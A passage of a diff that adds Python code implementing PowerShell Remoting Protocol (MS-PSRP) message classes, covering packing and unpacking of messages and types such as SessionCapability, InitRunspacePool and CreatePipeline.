RefId="5"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="18"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>''' 138 + log.debug("Packing PSRP message: %s" % to_string(message_data)) 139 + 140 + data = struct.pack("<I", self.destination) 141 + data += struct.pack("<I", self.message_type) 142 + 143 + # .NET stores uuids/guids in bytes in the little endian form 144 + data += self.rpid.bytes_le 145 + data += self.pid.bytes_le 146 + data += message_data 147 + 148 + return data 149 + 150 + @staticmethod 151 + def unpack( 152 + data: bytes, 153 + serializer: "Serializer", 154 + ) -> "Message": 155 + destination = struct.unpack("<I", data[0:4])[0] 156 + message_type = struct.unpack("<I", data[4:8])[0] 157 + rpid = str(uuid.UUID(bytes_le=data[8:24])) 158 + pid = str(uuid.UUID(bytes_le=data[24:40])) 159 + 160 + if data[40:43] == b"\xEF\xBB\xBF": 161 + # 40-43 is the UTF-8 BOM which we don't care about 162 + message_data = to_string(data[43:]) 163 + else: 164 + message_data = to_string(data[40:]) 165 + 166 + log.debug("Unpacking PSRP message of type %d: %s" % (message_type, message_data)) 167 + 168 + message_obj = { 169 + MessageType.SESSION_CAPABILITY: SessionCapability, 170 + MessageType.INIT_RUNSPACEPOOL: InitRunspacePool, 171 + MessageType.PUBLIC_KEY: PublicKey, 172 + MessageType.ENCRYPTED_SESSION_KEY: EncryptedSessionKey, 173 + MessageType.PUBLIC_KEY_REQUEST: PublicKeyRequest, 174 + MessageType.SET_MAX_RUNSPACES: SetMaxRunspaces, 175 + MessageType.SET_MIN_RUNSPACES: SetMinRunspaces, 176 + MessageType.RUNSPACE_AVAILABILITY: RunspaceAvailability, 177 + MessageType.RUNSPACEPOOL_STATE: RunspacePoolStateMessage, 178 + MessageType.CREATE_PIPELINE: CreatePipeline, 179 + MessageType.GET_AVAILABLE_RUNSPACES: GetAvailableRunspaces, 180 + MessageType.USER_EVENT: UserEvent, 181 + MessageType.APPLICATION_PRIVATE_DATA: ApplicationPrivateData, 182 + MessageType.GET_COMMAND_METADATA: GetCommandMetadata, 183 + MessageType.RUNSPACEPOOL_HOST_CALL: RunspacePoolHostCall, 184 + MessageType.RUNSPACEPOOL_HOST_RESPONSE: RunspacePoolHostResponse, 185 + MessageType.PIPELINE_INPUT: PipelineInput, 186 + MessageType.END_OF_PIPELINE_INPUT: EndOfPipelineInput, 187 + MessageType.PIPELINE_OUTPUT: PipelineOutput, 188 + MessageType.ERROR_RECORD: ErrorRecordMessage, 189 + MessageType.PIPELINE_STATE: PipelineState, 190 + MessageType.DEBUG_RECORD: DebugRecord, 191 + MessageType.VERBOSE_RECORD: VerboseRecord, 192 + MessageType.WARNING_RECORD: WarningRecord, 193 + MessageType.PROGRESS_RECORD: ProgressRecord, 194 + MessageType.INFORMATION_RECORD: InformationRecord, 195 + MessageType.PIPELINE_HOST_CALL: PipelineHostCall, 196 + MessageType.PIPELINE_HOST_RESPONSE: PipelineHostResponse, 197 + MessageType.CONNECT_RUNSPACEPOOL: ConnectRunspacePool, 198 + MessageType.RUNSPACEPOOL_INIT_DATA: RunspacePoolInitData, 199 + MessageType.RESET_RUNSPACE_STATE: ResetRunspaceState, 200 + }[message_type] 201 + 202 + # PIPELINE_OUTPUT is a weird one, it contains the actual output objects 203 + # not encapsulated so we set it to a dynamic object and the serializer 204 + # will work out what is best 205 + message: typing.Union[ComplexObject, "PipelineOutput", "PublicKeyRequest"] 206 + if message_type == MessageType.PIPELINE_OUTPUT: 207 + # try to deserialize using our known objects, if that fails then 208 + # we want to get a generic object at least but raise a warning 209 + try: 210 + message_data = serializer.deserialize(message_data) 211 + except SerializationError as err: 212 + warnings.warn( 213 + "Failed to deserialize msg, trying to deserialize as generic complex object: %s" % str(err) 214 + ) 215 + meta = ObjectMeta("ObjDynamic", object=GenericComplexObject) 216 + message_data = serializer.deserialize(message_data, meta) 217 + message = PipelineOutput() 218 + message.data = message_data 219 + elif message_type == MessageType.PIPELINE_INPUT: 220 + message_data = serializer.deserialize(message_data) 221 + message = PipelineInput() 222 + message.data = message_data 223 + elif message_type == MessageType.PUBLIC_KEY_REQUEST: 224 + message = PublicKeyRequest() 225 + else: 226 + message_meta = ObjectMeta("Obj", object=message_obj) 227 + message = serializer.deserialize(message_data, message_meta) 228 + 229 + return Message(destination, rpid, pid, message, serializer) 230 + 231 + 232 + class SessionCapability(ComplexObject): 233 + MESSAGE_TYPE = MessageType.SESSION_CAPABILITY 234 + 235 + def __init__( 236 + self, 237 + protocol_version: typing.Optional[str] = None, 238 + ps_version: typing.Optional[str] = None, 239 + serialization_version: typing.Optional[str] = None, 240 + time_zone: typing.Optional[bytes] = None, 241 + ) -> None: 242 + """ 243 + [MS-PSRP] 2.2.2.1 SESSION_CAPABILITY Message 244 + https://msdn.microsoft.com/en-us/library/dd340636.aspx 245 + 246 + :param protocol_version: The PSRP version 247 + :param ps_version: The PowerShell version 248 + :param serialization_version: The serialization version 249 + :param time_zone: Time Zone information of the host, should be a byte 250 + string 251 + """ 252 + super(SessionCapability, self).__init__() 253 + self._extended_properties = ( 254 + ("protocol_version", ObjectMeta("Version", name="protocolversion")), 255 + ("ps_version", ObjectMeta("Version", name="PSVersion")), 256 + ("serialization_version", ObjectMeta("Version", name="SerializationVersion")), 257 + ("time_zone", ObjectMeta("BA", name="TimeZone", optional=True)), 258 + ) 259 + self.protocol_version = protocol_version 260 + self.ps_version = ps_version 261 + self.serialization_version = serialization_version 262 + self.time_zone = time_zone 263 + 264 + 265 + class InitRunspacePool(ComplexObject): 266 + MESSAGE_TYPE = MessageType.INIT_RUNSPACEPOOL 267 + 268 + def __init__( 269 + self, 270 + min_runspaces: typing.Optional[int] = None, 271 + max_runspaces: typing.Optional[int] = None, 272 + thread_options: typing.Optional[PSThreadOptions] = None, 273 + apartment_state: typing.Optional[ApartmentState] = None, 274 + host_info: typing.Optional[HostInfo] = None, 275 + application_arguments: typing.Optional[typing.Dict] = None, 276 + ) -> None: 277 + """ 278 + [MS-PSRP] 2.2.2.2 INIT_RUNSPACEPOOL Message 279 + https://msdn.microsoft.com/en-us/library/dd359645.aspx 280 + 281 + :param min_runspaces: The minimum number of runspaces in the pool 282 + :param max_runspaces: The maximum number of runspaces in the pool 283 + :param thread_options: Thread options provided by the higher layer 284 + :param apartment_state: Apartment state provided by the higher layer 285 + :param host_info: The client's HostInfo details 286 + :param application_arguments: Application arguments provided by a 287 + higher layer, stored in the $PSSenderInfo variable in the pool 288 + """ 289 + super(InitRunspacePool, self).__init__() 290 + self._extended_properties = ( 291 + ("min_runspaces", ObjectMeta("I32", name="MinRunspaces")), 292 + ("max_runspaces", ObjectMeta("I32", name="MaxRunspaces")), 293 + ("thread_options", ObjectMeta("Obj", name="PSThreadOptions", object=PSThreadOptions)), 294 + ("apartment_state", ObjectMeta("Obj", name="ApartmentState", object=ApartmentState)), 295 + ("host_info", ObjectMeta("Obj", name="HostInfo", object=HostInfo)), 296 + ( 297 + "application_arguments", 298 + DictionaryMeta( 299 + name="ApplicationArguments", 300 + dict_types=[ 301 + "System.Management.Automation.PSPrimitiveDictionary", 302 + "System.Collections.Hashtable", 303 + "System.Object", 304 + ], 305 + ), 306 + ), 307 + ) 308 + self.min_runspaces = min_runspaces 309 + self.max_runspaces = max_runspaces 310 + self.thread_options = thread_options 311 + self.apartment_state = apartment_state 312 + self.host_info = host_info 313 + self.application_arguments = application_arguments 314 + 315 + 316 + class PublicKey(ComplexObject): 317 + MESSAGE_TYPE = MessageType.PUBLIC_KEY 318 + 319 + def __init__( 320 + self, 321 + public_key: typing.Optional[str] = None, 322 + ) -> None: 323 + """ 324 + [MS-PSRP] 2.2.2.3 PUBLIC_KEY Message 325 + https://msdn.microsoft.com/en-us/library/dd644859.aspx 326 + 327 + :param public_key: The Base64 encoding of the public key in the PKCS1 328 + format. 329 + """ 330 + super(PublicKey, self).__init__() 331 + self._extended_properties = (("public_key", ObjectMeta("S", name="PublicKey")),) 332 + self.public_key = public_key 333 + 334 + 335 + class EncryptedSessionKey(ComplexObject): 336 + MESSAGE_TYPE = MessageType.ENCRYPTED_SESSION_KEY 337 + 338 + def __init__(self, session_key=None): 339 + """ 340 + [MS-PSRP] 2.2.2.4 ENCRYPTED_SESSION_KEY Message 341 + https://msdn.microsoft.com/en-us/library/dd644930.aspx 342 + 343 + :param session_key: The 256-bit key for AES encryption that has been 344 + encrypted using the public key from the PUBLIC_KEY message using 345 + the RSAES-PKCS-v1_5 encryption scheme and then Base64 formatted. 346 + """ 347 + super(EncryptedSessionKey, self).__init__() 348 + self._extended_properties = (("session_key", ObjectMeta("S", name="EncryptedSessionKey")),) 349 + self.session_key = session_key 350 + 351 + 352 + class PublicKeyRequest(object): 353 + MESSAGE_TYPE = MessageType.PUBLIC_KEY_REQUEST 354 + 355 + def __init__(self) -> None: 356 + """ 357 + [MS-PSRP] 2.2.2.5 PUBLIC_KEY_REQUEST Message 358 + https://msdn.microsoft.com/en-us/library/dd644906.aspx 359 + """ 360 + super(PublicKeyRequest, self).__init__() 361 + 362 + 363 + class SetMaxRunspaces(ComplexObject): 364 + MESSAGE_TYPE = MessageType.SET_MAX_RUNSPACES 365 + 366 + def __init__( 367 + self, 368 + max_runspaces: typing.Optional[int] = None, 369 + ci: typing.Optional[int] = None, 370 + ) -> None: 371 + """ 372 + [MS-PSRP] 2.2.2.6 SET_MAX_RUNSPACES Message 373 + https://msdn.microsoft.com/en-us/library/dd304870.aspx 374 + 375 + :param max_runspaces: The maximum number of runspaces 376 + :param ci: The ci identifier for the CI table 377 + """ 378 + super(SetMaxRunspaces, self).__init__() 379 + self._extended_properties = ( 380 + ("max_runspaces", ObjectMeta("I32", name="MaxRunspaces")), 381 + ("ci", ObjectMeta("I64", name="CI")), 382 + ) 383 + self.max_runspaces = max_runspaces 384 + self.ci = ci 385 + 386 + 387 + class SetMinRunspaces(ComplexObject): 388 + MESSAGE_TYPE = MessageType.SET_MIN_RUNSPACES 389 + 390 + def __init__( 391 + self, 392 + min_runspaces: typing.Optional[int] = None, 393 + ci: typing.Optional[int] = None, 394 + ) -> None: 395 + """ 396 + [MS-PSRP] 2.2.2.7 SET_MIN_RUNSPACES Message 397 + https://msdn.microsoft.com/en-us/library/dd340570.aspx 398 + 399 + :param max_runspaces: The minimum number of runspaces 400 + :param ci: The ci identifier for the CI table 401 + """ 402 + super(SetMinRunspaces, self).__init__() 403 + self._extended_properties = ( 404 + ("min_runspaces", ObjectMeta("I32", name="MinRunspaces")), 405 + ("ci", ObjectMeta("I64", name="CI")), 406 + ) 407 + self.min_runspaces = min_runspaces 408 + self.ci = ci 409 + 410 + 411 + class RunspaceAvailability(ComplexObject): 412 + MESSAGE_TYPE = MessageType.RUNSPACE_AVAILABILITY 413 + 414 + def __init__(self, response=None, ci=None): 415 + """ 416 + [MS-PSRP] 2.2.2.8 RUNSPACE_AVAILABILITY Message 417 + https://msdn.microsoft.com/en-us/library/dd359229.aspx 418 + 419 + :param response: The response from the server 420 + :param ci: The ci identifier for the CI table 421 + """ 422 + super(RunspaceAvailability, self).__init__() 423 + self._extended_properties = ( 424 + ("response", ObjectMeta(name="SetMinMaxRunspacesResponse")), 425 + ("ci", ObjectMeta("I64", name="ci")), 426 + ) 427 + self.response = response 428 + self.ci = ci 429 + 430 + 431 + class RunspacePoolStateMessage(ComplexObject): 432 + MESSAGE_TYPE = MessageType.RUNSPACEPOOL_STATE 433 + 434 + def __init__(self, state=None, error_record=None): 435 + """ 436 + [MS-PSRP] 2.2.2.9 RUNSPACEPOOL_STATE Message 437 + https://msdn.microsoft.com/en-us/library/dd303020.aspx 438 + 439 + :param state: The state of the runspace pool 440 + :param error_record: 441 + """ 442 + super(RunspacePoolStateMessage, self).__init__() 443 + self._extended_properties = ( 444 + ("state", ObjectMeta("I32", name="RunspaceState")), 445 + ("error_record", ObjectMeta("Obj", optional=True, object=ErrorRecord)), 446 + ) 447 + self.state = state 448 + self.error_record = error_record 449 + 450 + 451 + class CreatePipeline(ComplexObject): 452 + MESSAGE_TYPE = MessageType.CREATE_PIPELINE 453 + 454 + def __init__( 455 + self, 456 + no_input: typing.Optional[bool] = None, 457 + apartment_state: typing.Optional[ApartmentState] = None, 458 + remote_stream_options: typing.Optional[RemoteStreamOptions] = None, 459 + add_to_history: typing.Optional[bool] = None, 460 + host_info: typing.Optional[HostInfo] = None, 461 + pipeline: typing.Optional[Pipeline] = None, 462 + is_nested: typing.Optional[bool] = None, 463 + ) -> None: 464 + """ 465 + [MS-PSRP] 2.2.2.10 CREATE_PIPELINE Message 466 + https://msdn.microsoft.com/en-us/library/dd340567.aspx 467 + 468 + :param no_input: Whether the pipeline will take input 469 + :param apartment_state: The ApartmentState of the pipeline 470 + :param remote_stream_options: The RemoteStreamOptions of the pipeline 471 + :param add_to_history: Whether to add the pipeline being execute to 472 + the history field of the runspace 473 + :param host_info: The HostInformation of the pipeline 474 + :param pipeline: The PowerShell object to create 475 + :param is_nested: Whether the pipeline is run in nested or 476 + steppable mode 477 + """ 478 + super(CreatePipeline, self).__init__() 479 + self._extended_properties = ( 480 + ("no_input", ObjectMeta("B", name="NoInput")), 481 + ("apartment_state", ObjectMeta("Obj", name="ApartmentState", object=ApartmentState)), 482 + ("remote_stream_options", ObjectMeta("Obj", name="RemoteStreamOptions", object=RemoteStreamOptions)), 483 + ("add_to_history", ObjectMeta("B", name="AddToHistory")), 484 + ("host_info", ObjectMeta("Obj", name="HostInfo", object=HostInfo)), 485 + ("pipeline", ObjectMeta("Obj", name="PowerShell", object=Pipeline)), 486 + ("is_nested", ObjectMeta("B", name="IsNested")), 487 + ) 488 + 489 + self.no_input = no_input 490 + self.apartment_state = apartment_state 491 + self.remote_stream_options = remote_stream_options 492 + self.add_to_history = add_to_history 493 + self.host_info = host_info 494 + self.pipeline = pipeline 495 + self.is_nested = is_nested 496 + 497 + 498 + class GetAvailableRunspaces(ComplexObject): 499 + MESSAGE_TYPE = MessageType.GET_AVAILABLE_RUNSPACES 500 + 501 + def __init__( 502 + self, 503 + ci: typing.Optional[int] = None, 504 + ) -> None: 505 + """ 506 + [MS-PSRP] 2.2.2.11 GET_AVAILABLE_RUNSPACES Message 507 + https://msdn.microsoft.com/en-us/library/dd357512.aspx 508 + 509 + :param ci: The ci identifier for the CI table 510 + """ 511 + super(GetAvailableRunspaces, self).__init__() 512 + self._extended_properties = (("ci", ObjectMeta("I64", name="ci")),) 513 + self.ci = ci 514 + 515 + 516 + class UserEvent(ComplexObject): 517 + MESSAGE_TYPE = MessageType.USER_EVENT 518 + 519 + def __init__( 520 + self, 521 + event_id=None, 522 + source_id=None, 523 + time=None, 524 + sender=None, 525 + args=None, 526 + data=None, 527 + computer=None, 528 + runspace_id=None, 529 + ): 530 + """ 531 + [MS-PSRP] 2.2.2.12 USER_EVENT Message 532 + https://msdn.microsoft.com/en-us/library/dd359395.aspx 533 + 534 + :param event_id: 535 + :param source_id: 536 + :param time: 537 + :param sender: 538 + :param args: 539 + :param data: 540 + :param computer: 541 + :param runspace_id: 542 + """ 543 + super(UserEvent, self).__init__() 544 + self._extended_properties = ( 545 + ("event_id", ObjectMeta("I32", name="PSEventArgs.EventIdentifier")), 546 + ("source_id", ObjectMeta("S", name="PSEventArgs.SourceIdentifier")), 547 + ("time", ObjectMeta("DT", name="PSEventArgs.TimeGenerated")), 548 + ("sender", ObjectMeta(name="PSEventArgs.Sender")), 549 + ("args", ObjectMeta(name="PSEventArgs.SourceArgs")), 550 + ("data", ObjectMeta(name="PSEventArgs.MessageData")), 551 + ("computer", ObjectMeta("S", name="PSEventArgs.ComputerName")), 552 + ("runspace_id", ObjectMeta("G", name="PSEventArgs.RunspaceId")), 553 + ) 554 + self.event_id = event_id 555 + self.source_id = source_id 556 + self.time = time 557 + self.sender = sender 558 + self.args = args 559 + self.data = data 560 + self.computer = computer 561 + self.runspace_id = runspace_id 562 + 563 + 564 + class ApplicationPrivateData(ComplexObject): 565 + MESSAGE_TYPE = MessageType.APPLICATION_PRIVATE_DATA 566 + 567 + def __init__(self, data=None): 568 + """ 569 + [MS-PSRP] 2.2.2.13 APPLICATION_PRIVATE_DATA Message 570 + https://msdn.microsoft.com/en-us/library/dd644934.aspx 571 + 572 + :param data: A dict that contains data to sent to the PowerShell layer 573 + """ 574 + super(ApplicationPrivateData, self).__init__() 575 + self._extended_properties = (("data", DictionaryMeta(name="ApplicationPrivateData")),) 576 + self.data = data 577 + 578 + 579 + class GetCommandMetadata(ComplexObject): 580 + MESSAGE_TYPE = MessageType.GET_COMMAND_METADATA 581 + 582 + def __init__( 583 + self, 584 + names: typing.Optional[typing.List[str]] = None, 585 + command_type: typing.Optional[int] = None, 586 + namespace: typing.Optional[typing.List[str]] = None, 587 + argument_list: typing.Optional[typing.List] = None, 588 + ) -> None: 589 + """ 590 + [MS-PSRP] 2.2.2.14 GET_COMMAND_METADATA Message 591 + https://msdn.microsoft.com/en-us/library/ee175985.aspx 592 + 593 + :param names: 594 + :param command_type: 595 + :param namespace: 596 + :param argument_list: 597 + """ 598 + super(GetCommandMetadata, self).__init__() 599 + self._extended_properties = ( 600 + ( 601 + "names", 602 + ListMeta( 603 + name="Name", 604 + list_value_meta=ObjectMeta("S"), 605 + list_types=["System.String[]", "System.Array", "System.Object"], 606 + ), 607 + ), 608 + ("command_type", ObjectMeta(name="CommandType", object=CommandType)), 609 + ("namespace", ObjectMeta(name="Namespace")), 610 + ("argument_list", ListMeta(name="ArgumentList")), 611 + ) 612 + self.names = names 613 + self.command_type = command_type 614 + self.namespace = namespace 615 + self.argument_list = argument_list 616 + 617 + 618 + class RunspacePoolHostCall(ComplexObject): 619 + MESSAGE_TYPE = MessageType.RUNSPACEPOOL_HOST_CALL 620 + 621 + def __init__(self, ci=None, mi=None, mp=None): 622 + """ 623 + [MS-PSRP] 2.2.2.15 RUNSPACE_HOST_CALL Message 624 + https://msdn.microsoft.com/en-us/library/dd340830.aspx 625 + 626 + :param ci: 627 + :param mi: 628 + :param mp: 629 + """ 630 + super(RunspacePoolHostCall, self).__init__() 631 + self._extended_properties = ( 632 + ("ci", ObjectMeta("I64", name="ci")), 633 + ("mi", ObjectMeta("Obj", name="mi", object=HostMethodIdentifier)), 634 + ("mp", ListMeta(name="mp")), 635 + ) 636 + self.ci = ci 637 + self.mi = mi 638 + self.mp = mp 639 + 640 + 641 + class RunspacePoolHostResponse(ComplexObject): 642 + MESSAGE_TYPE = MessageType.RUNSPACEPOOL_HOST_RESPONSE 643 + 644 + def __init__(self, ci=None, mi=None, mr=None, me=None): 645 + """ 646 + [MS-PSRP] 2.2.2.16 RUNSPACEPOOL_HOST_RESPONSE Message 647 + https://msdn.microsoft.com/en-us/library/dd358453.aspx 648 + 649 + :param ci: 650 + :param mi: 651 + :param mr: 652 + :param me: 653 + """ 654 + super(RunspacePoolHostResponse, self).__init__() 655 + self._extended_properties = ( 656 + ("ci", ObjectMeta("I64", name="ci")), 657 + ("mi", ObjectMeta("Obj", name="mi", object=HostMethodIdentifier)), 658 + ("mr", ObjectMeta(name="mr")), 659 + ("me", ObjectMeta("Obj", name="me", object=ErrorRecord, optional=True)), 660 + ) 661 + self.ci = ci 662 + self.mi = mi 663 + self.mr = mr 664 + self.me = me 665 + 666 + 667 + class PipelineInput(ComplexObject): 668 + MESSAGE_TYPE = MessageType.PIPELINE_INPUT 669 + 670 + def __init__( 671 + self, 672 + data: typing.Any = None, 673 + ) -> None: 674 + """ 675 + [MS-PSRP] 2.2.2.17 PIPELINE_INPUT Message 676 + https://msdn.microsoft.com/en-us/library/dd340525.aspx 677 + 678 + :param data: The data to serialize and send as the input 679 + """ 680 + super(PipelineInput, self).__init__() 681 + self.data = data 682 + 683 + 684 + class EndOfPipelineInput(ComplexObject): 685 + MESSAGE_TYPE = MessageType.END_OF_PIPELINE_INPUT 686 + 687 + def __init__(self) -> None: 688 + """ 689 + [MS-PSRP] 2.2.2.18 END_OF_PIPELINE_INPUT Message 690 + https://msdn.microsoft.com/en-us/library/dd342785.aspx 691 + """ 692 + super(EndOfPipelineInput, self).__init__() 693 + 694 + 695 + class PipelineOutput(object): 696 + MESSAGE_TYPE = MessageType.PIPELINE_OUTPUT 697 + 698 + def __init__( 699 + self, 700 + data: typing.Any = None, 701 + ) -> None: 702 + """ 703 + [MS-PSRP] 2.2.2.19 PIPELINE_OUTPUT Message 704 + https://msdn.microsoft.com/en-us/library/dd357371.aspx 705 + """ 706 + super(PipelineOutput, self).__init__() 707 + self.data = data 708 + 709 + 710 + class ErrorRecordMessage(ErrorRecord): 711 + MESSAGE_TYPE = MessageType.ERROR_RECORD 712 + 713 + def __init__(self, **kwargs): 714 + """ 715 + [MS-PSRP] 2.2.2.20 ERROR_RECORD Message 716 + https://msdn.microsoft.com/en-us/library/dd342423.aspx 717 + 718 + :param kwargs: 719 + """ 720 + super(ErrorRecordMessage, self).__init__(**kwargs) 721 + 722 + 723 + class PipelineState(ComplexObject): 724 + MESSAGE_TYPE = MessageType.PIPELINE_STATE 725 + 726 + def __init__(self, state=None, error_record=None): 727 + """ 728 + [MS-PSRP] 2.2.2.21 PIPELINE_STATE Message 729 + https://msdn.microsoft.com/en-us/library/dd304923.aspx 730 + 731 + :param state: The state of the pipeline 732 + :param error_record: 733 + """ 734 + super(PipelineState, self).__init__() 735 + self._extended_properties = ( 736 + ("state", ObjectMeta("I32", name="PipelineState")), 737 + ("error_record", ObjectMeta("Obj", name="ExceptionAsErrorRecord", optional=True)), 738 + ) 739 + self.state = state 740 + self.error_record = error_record 741 + 742 + 743 + class DebugRecord(InformationalRecord): 744 + MESSAGE_TYPE = MessageType.DEBUG_RECORD 745 + 746 + def __init__(self, **kwargs): 747 + """ 748 + [MS-PSRP] 2.2.2.22 DEBUG_RECORD Message 749 + https://msdn.microsoft.com/en-us/library/dd340758.aspx 750 + """ 751 + super(DebugRecord, self).__init__(**kwargs) 752 + self._types.insert(0, "System.Management.Automation.DebugRecord") 753 + 754 + 755 + class VerboseRecord(InformationalRecord): 756 + MESSAGE_TYPE = MessageType.VERBOSE_RECORD 757 + 758 + def __init__(self, **kwargs): 759 + """ 760 + [MS-PSRP] 2.2.2.23 VERBOSE_RECORD Message 761 + https://msdn.microsoft.com/en-us/library/dd342930.aspx 762 + """ 763 + super(VerboseRecord, self).__init__(**kwargs) 764 + self._types.insert(0, "System.Management.Automation.VerboseRecord") 765 + 766 + 767 + class WarningRecord(InformationalRecord): 768 + MESSAGE_TYPE = MessageType.WARNING_RECORD 769 + 770 + def __init__(self, **kwargs): 771 + """ 772 + [MS-PSRP] 2.2.2.24 WARNING_RECORD Message 773 + https://msdn.microsoft.com/en-us/library/dd303590.aspx 774 + """ 775 + super(WarningRecord, self).__init__(**kwargs) 776 + self._types.insert(0, "System.Management.Automation.WarningRecord") 777 + 778 + 779 + class ProgressRecord(ComplexObject): 780 + MESSAGE_TYPE = MessageType.PROGRESS_RECORD 781 + 782 + def __init__( 783 + self, 784 + activity=None, 785 + activity_id=None, 786 + description=None, 787 + current_operation=None, 788 + parent_activity_id=None, 789 + percent_complete=None, 790 + progress_type=None, 791 + seconds_remaining=None, 792 + ): 793 + """ 794 + [MS-PSRP] 2.2.2.25 PROGRESS_RECORD Message 795 + https://msdn.microsoft.com/en-us/library/dd340751.aspx 796 + 797 + :param kwargs: 798 + """ 799 + super(ProgressRecord, self).__init__() 800 + self._extended_properties = ( 801 + ("activity", ObjectMeta("S", name="Activity")), 802 + ("activity_id", ObjectMeta("I32", name="ActivityId")), 803 + ("description", ObjectMeta("S", name="StatusDescription")), 804 + ("current_operation", ObjectMeta("S", name="CurrentOperation")), 805 + ("parent_activity_id", ObjectMeta("I32", name="ParentActivityId")), 806 + ("percent_complete", ObjectMeta("I32", name="PercentComplete")), 807 + ("progress_type", ObjectMeta("Obj", name="Type", object=ProgressRecordType)), 808 + ("seconds_remaining", ObjectMeta("I32", name="SecondsRemaining")), 809 + ) 810 + self.activity = activity 811 + self.activity_id = activity_id 812 + self.description = description 813 + self.current_operation = current_operation 814 + self.parent_activity_id = parent_activity_id 815 + self.percent_complete = percent_complete 816 + self.progress_type = progress_type 817 + self.seconds_remaining = seconds_remaining 818 + 819 + 820 + class InformationRecord(ComplexObject): 821 + MESSAGE_TYPE = MessageType.INFORMATION_RECORD 822 + 823 + def __init__( 824 + self, 825 + message_data=None, 826 + source=None, 827 + time_generated=None, 828 + tags=None, 829 + user=None, 830 + computer=None, 831 + pid=None, 832 + native_thread_id=None, 833 + managed_thread_id=None, 834 + write_information_stream=None, 835 + ): 836 + """ 837 + [MS-PSRP] 2.2.2.26 INFORMATION_RECORD Message 838 + https://msdn.microsoft.com/en-us/library/mt224023.aspx 839 + 840 + Only in protocol_version 2.3 and above 841 + 842 + :param kwargs: 843 + """ 844 + super(InformationRecord, self).__init__() 845 + self._types = ["System.Management.Automation.InformationRecord", "System.Object"] 846 + self._extended_properties = ( 847 + ("message_data", ObjectMeta(name="MessageData")), 848 + ("source", ObjectMeta("S", name="Source")), 849 + ("time_generated", ObjectMeta("DT", name="TimeGenerated")), 850 + ("tags", ListMeta(name="Tags", list_value_meta=ObjectMeta("S"))), 851 + ("user", ObjectMeta("S", name="User")), 852 + ("computer", ObjectMeta("S", name="Computer")), 853 + ("pid", ObjectMeta("U32", name="ProcessId")), 854 + ("native_thread_id", ObjectMeta("U32", name="NativeThreadId")), 855 + ("managed_thread_id", ObjectMeta("U32", name="ManagedThreadId")), 856 + ("write_information_stream", ObjectMeta("B", name="WriteInformationStream", optional=True)), 857 + ) 858 + self.message_data = message_data 859 + self.source = source 860 + self.time_generated = time_generated 861 + self.tags = tags 862 + self.user = user 863 + self.computer = computer 864 + self.pid = pid 865 + self.native_thread_id = native_thread_id 866 + self.managed_thread_id = managed_thread_id 867 + self.write_information_stream = write_information_stream 868 + 869 + 870 + class PipelineHostCall(RunspacePoolHostCall): 871 + MESSAGE_TYPE = MessageType.PIPELINE_HOST_CALL 872 + """ 873 + [MS-PSRP] 2.2.2.27 PIPELINE_HOST_CALL Message 874 + https://msdn.microsoft.com/en-us/library/dd356915.aspx 875 + """ 876 + 877 + 878 + class PipelineHostResponse(RunspacePoolHostResponse): 879 + MESSAGE_TYPE = MessageType.PIPELINE_HOST_RESPONSE 880 + """ 881 + [MS-PSRP] 2.2.2.28 PIPELINE_HOST_RESPONSE Message 882 + https://msdn.microsoft.com/en-us/library/dd306168.aspx 883 + """ 884 + 885 + 886 + class ConnectRunspacePool(ComplexObject): 887 + MESSAGE_TYPE = MessageType.CONNECT_RUNSPACEPOOL 888 + 889 + def __init__( 890 + self, 891 + min_runspaces: typing.Optional[int] = None, 892 + max_runspaces: typing.Optional[int] = None, 893 + ) -> None: 894 + """ 895 + [MS-PSRP] 2.2.2.29 CONNECT_RUNSPACEPOOL Message 896 + https://msdn.microsoft.com/en-us/library/hh537460.aspx 897 + 898 + :param min_runspaces: 899 + :param max_runspaces: 900 + """ 901 + super(ConnectRunspacePool, self).__init__() 902 + self._extended_properties = ( 903 + ("min_runspaces", ObjectMeta("I32", name="MinRunspaces", optional=True)), 904 + ("max_runspaces", ObjectMeta("I32", name="MaxRunspaces", optional=True)), 905 + ) 906 + self.min_runspaces = min_runspaces 907 + self.max_runspaces = max_runspaces 908 + 909 + 910 + class RunspacePoolInitData(ComplexObject): 911 + MESSAGE_TYPE = MessageType.RUNSPACEPOOL_INIT_DATA 912 + 913 + def __init__(self, min_runspaces=None, max_runspaces=None): 914 + """ 915 + [MS-PSRP] 2.2.2.30 RUNSPACEPOOL_INIT_DATA Message 916 + https://msdn.microsoft.com/en-us/library/hh537788.aspx 917 + 918 + :param min_runspaces: 919 + :param max_runspaces: 920 + """ 921 + super(RunspacePoolInitData, self).__init__() 922 + self._extended_properties = ( 923 + ("min_runspaces", ObjectMeta("I32", name="MinRunspaces")), 924 + ("max_runspaces", ObjectMeta("I32", name="MaxRunspaces")), 925 + ) 926 + self.min_runspaces = min_runspaces 927 + self.max_runspaces = max_runspaces 928 + 929 + 930 + class ResetRunspaceState(ComplexObject): 931 + MESSAGE_TYPE = MessageType.RESET_RUNSPACE_STATE 932 + 933 + def __init__( 934 + self, 935 + ci: typing.Optional[int] = None, 936 + ) -> None: 937 + """ 938 + [MS-PSRP] 2.2.2.31 RESET_RUNSPACE_STATE Message 939 + https://msdn.microsoft.com/en-us/library/mt224027.aspx 940 + 941 + :param ci: The call identifier 942 + """ 943 + super(ResetRunspaceState, self).__init__() 944 + self._extended_properties = (("ci", ObjectMeta("I64", name="ci")),) 945 + self.ci = ci